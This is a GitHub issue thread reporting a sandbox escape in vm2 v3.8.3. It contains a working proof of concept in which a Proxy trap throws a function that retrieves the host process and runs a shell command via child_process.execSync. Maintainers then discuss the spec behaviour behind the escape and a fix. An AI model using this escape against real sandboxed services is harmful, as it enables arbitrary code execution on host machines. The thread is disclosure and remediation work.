-
Notifications
You must be signed in to change notification settings - Fork 295
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Breakout in v3.8.3 #225
Comments
And another more game breaking one: "use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
} |
Very crafty.. taking advantage of the return error |
@patriksimek would you mind taking a look at this, please? |
@alexbarnsley I'm still scratching my head with this one. |
By using in vm options |
@manuel-di-iorio you can recover TypeError via: try {
null.f();
} catch (e) {
TypeError = e.constructor;
} and Object via: Object = ({}).constructor; however, I don't know a way to recover Proxy, so the second breakout can't be performed. @patriksimek for the fix for the second breakout I would suggest to replace: |
@XmiliaH I was doing some testing with suggested changes, but unfortunately, half of the unit tests break. I'm trying to figure out how it is even possible to break out the sandbox through the So I was trying to create a minimal code to reproduce the issue and came up with this: const a = new Proxy({}, {
getOwnPropertyDescriptor(){
debugger;
}
})
const b = new Proxy(a, {
getOwnPropertyDescriptor(){
debugger;
}
})
Object.getOwnPropertyDescriptor(b); I was expecting the debugger to pause execution in the proxy trap of the variable |
@patriksimek v8 behaves like the specs say it has to. Take a look at Proxy.[[Get]] (P, Receiver). There the specs call in step 11 the target.[[GetOwnProperty]](P), which when target is a proxy calls its handler method. This is done to ensure that the proxy handler does the right thing, for non configurable non writeable properties, since it is not allowed to change them, see step 13. |
Should fix patriksimek#225 by tracking proxies and unsing the target of them in case of decontextify instead of them.
One can break out of the sandbox via:
The text was updated successfully, but these errors were encountered: